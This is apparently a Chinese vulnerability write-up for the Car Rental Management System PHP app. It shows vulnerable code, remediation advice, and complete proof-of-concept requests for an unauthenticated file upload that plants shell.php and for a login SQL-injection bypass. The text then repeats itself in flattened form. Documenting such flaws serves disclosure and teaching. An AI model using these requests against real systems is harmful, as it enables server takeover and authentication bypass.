Car Rental Management System待审记录
字数 897 2025-08-19 12:41:18

Car Rental Management System 漏洞分析与利用教学文档

前言

本文档详细分析Car Rental Management System(车辆租赁管理系统)中存在的两类安全漏洞:未授权文件上传和SQL注入。该系统是一个国外的车辆信息发布管理系统,存在多处安全缺陷。

一、未授权文件上传漏洞

漏洞位置

admin/admin_class.php 文件中的 save_car() 函数(第282-309行)

漏洞代码分析

function save_car(){
    extract($_POST);
    $data = "";
    foreach($_POST as $k => $v){
        if(!in_array($k, array('id','img','description')) && !is_numeric($k)){
            if(empty($data)){
                $data .= " $k='$v' ";
            }else{
                $data .= ", $k='$v' ";
            }
        }
    }
    $data .= ", description = '".htmlentities(str_replace("'","’",$description))."' ";
    if($_FILES['img']['tmp_name'] != ''){
        $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
        $fname = str_replace(" ", '', $fname);
        $move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/cars_img/'. $fname);
        $data .= ", img_path = '$fname' ";
    }
    if(empty($id)){
        $save = $this->db->query("INSERT INTO cars set $data");
    }else{
        $save = $this->db->query("UPDATE cars set $data where id = $id");
    }
    if($save)
        return 1;
}

漏洞原理

  1. 直接接收前端传入的文件数据,未对文件内容进行任何校验
  2. 仅使用时间戳+原始文件名生成新文件名(未过滤危险扩展名)
  3. 文件直接保存到assets/uploads/cars_img/目录下
  4. 无任何权限验证,未授权用户也可上传文件

漏洞复现步骤

  1. 构造恶意POST请求:
POST /admin/ajax.php?action=save_car HTTP/1.1  
Host: 目标IP  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX98edFXJqWpvI5cf  

------WebKitFormBoundaryX98edFXJqWpvI5cf  
Content-Disposition: form-data; name="id"  

------WebKitFormBoundaryX98edFXJqWpvI5cf  
Content-Disposition: form-data; name="brand"  
111  
------WebKitFormBoundaryX98edFXJqWpvI5cf  
Content-Disposition: form-data; name="model"  
111  
------WebKitFormBoundaryX98edFXJqWpvI5cf  
Content-Disposition: form-data; name="category_id"  
5  
------WebKitFormBoundaryX98edFXJqWpvI5cf  
Content-Disposition: form-data; name="engine_id"  
3  
------WebKitFormBoundaryX98edFXJqWpvI5cf  
Content-Disposition: form-data; name="transmission_id"  
3  
------WebKitFormBoundaryX98edFXJqWpvI5cf  
Content-Disposition: form-data; name="description"  
111111111  
------WebKitFormBoundaryX98edFXJqWpvI5cf  
Content-Disposition: form-data; name="price"  
10  
------WebKitFormBoundaryX98edFXJqWpvI5cf  
Content-Disposition: form-data; name="qty"  
10  
------WebKitFormBoundaryX98edFXJqWpvI5cf  
Content-Disposition: form-data; name="img"; filename="shell.php"  
Content-Type: application/octet-stream  

<?php phpinfo();?>  
------WebKitFormBoundaryX98edFXJqWpvI5cf--
  1. 服务器返回"1"表示上传成功
  2. 访问上传的webshell:http://目标IP/assets/uploads/cars_img/[时间戳]_shell.php

修复建议

  1. 添加文件类型白名单验证
  2. 重命名文件时强制修改扩展名为安全类型
  3. 添加权限验证,确保只有授权用户可上传
  4. 对上传文件内容进行安全检查

二、SQL注入漏洞

漏洞位置

admin/admin_class.php 文件中的 login() 函数(第18-38行)

漏洞代码分析

function login(){
    extract($_POST);        
    $qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".md5($password)."' ");
    if($qry->num_rows >0){
        foreach ($qry->fetch_array() as $key => $value) {
            if($key != 'passwors' && !is_numeric($key))
                $_SESSION['login_'.$key] = $value;
        }
        if($_SESSION['login_type'] != 1){
            foreach ($_SESSION as $key => $value) {
                unset($_SESSION[$key]);
            }
            return 2 ;
            exit;
        }
        return 1;
    }else{
        return 3;
    }
}

漏洞原理

  1. 直接将用户输入的username参数拼接到SQL查询中
  2. 未使用预处理语句或任何过滤/转义措施
  3. 返回1表示登录成功,可被利用绕过认证

漏洞复现步骤

  1. 构造恶意POST请求:
POST /admin/ajax.php?action=login HTTP/1.1
Host: 目标IP
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

username=admin' or '1'='1'#&password=任意密码
  1. 服务器返回"1"表示登录成功

修复建议

  1. 使用预处理语句(PDO或mysqli_prepare)
  2. 对用户输入进行严格的过滤和转义
  3. 实施最小权限原则,限制数据库用户权限
  4. 添加登录失败次数限制

总结

Car Rental Management System存在严重安全漏洞,攻击者可利用:

  1. 未授权文件上传漏洞获取服务器控制权
  2. SQL注入漏洞绕过认证获取管理员权限

开发人员应重视安全编码实践,对所有用户输入进行严格验证,并实施适当的权限控制机制。

Car Rental Management System 漏洞分析与利用教学文档 前言 本文档详细分析Car Rental Management System(车辆租赁管理系统)中存在的两类安全漏洞:未授权文件上传和SQL注入。该系统是一个国外的车辆信息发布管理系统,存在多处安全缺陷。 一、未授权文件上传漏洞 漏洞位置 admin/admin_class.php 文件中的 save_car() 函数(第282-309行) 漏洞代码分析 漏洞原理 直接接收前端传入的文件数据,未对文件内容进行任何校验 仅使用时间戳+原始文件名生成新文件名(未过滤危险扩展名) 文件直接保存到 assets/uploads/cars_img/ 目录下 无任何权限验证,未授权用户也可上传文件 漏洞复现步骤 构造恶意POST请求: 服务器返回"1"表示上传成功 访问上传的webshell: http://目标IP/assets/uploads/cars_img/[时间戳]_shell.php 修复建议 添加文件类型白名单验证 重命名文件时强制修改扩展名为安全类型 添加权限验证,确保只有授权用户可上传 对上传文件内容进行安全检查 二、SQL注入漏洞 漏洞位置 admin/admin_class.php 文件中的 login() 函数(第18-38行) 漏洞代码分析 漏洞原理 直接将用户输入的 username 参数拼接到SQL查询中 未使用预处理语句或任何过滤/转义措施 返回1表示登录成功,可被利用绕过认证 漏洞复现步骤 构造恶意POST请求: 服务器返回"1"表示登录成功 修复建议 使用预处理语句(PDO或mysqli_ prepare) 对用户输入进行严格的过滤和转义 实施最小权限原则,限制数据库用户权限 添加登录失败次数限制 总结 Car Rental Management System存在严重安全漏洞,攻击者可利用: 未授权文件上传漏洞获取服务器控制权 SQL注入漏洞绕过认证获取管理员权限 开发人员应重视安全编码实践,对所有用户输入进行严格验证,并实施适当的权限控制机制。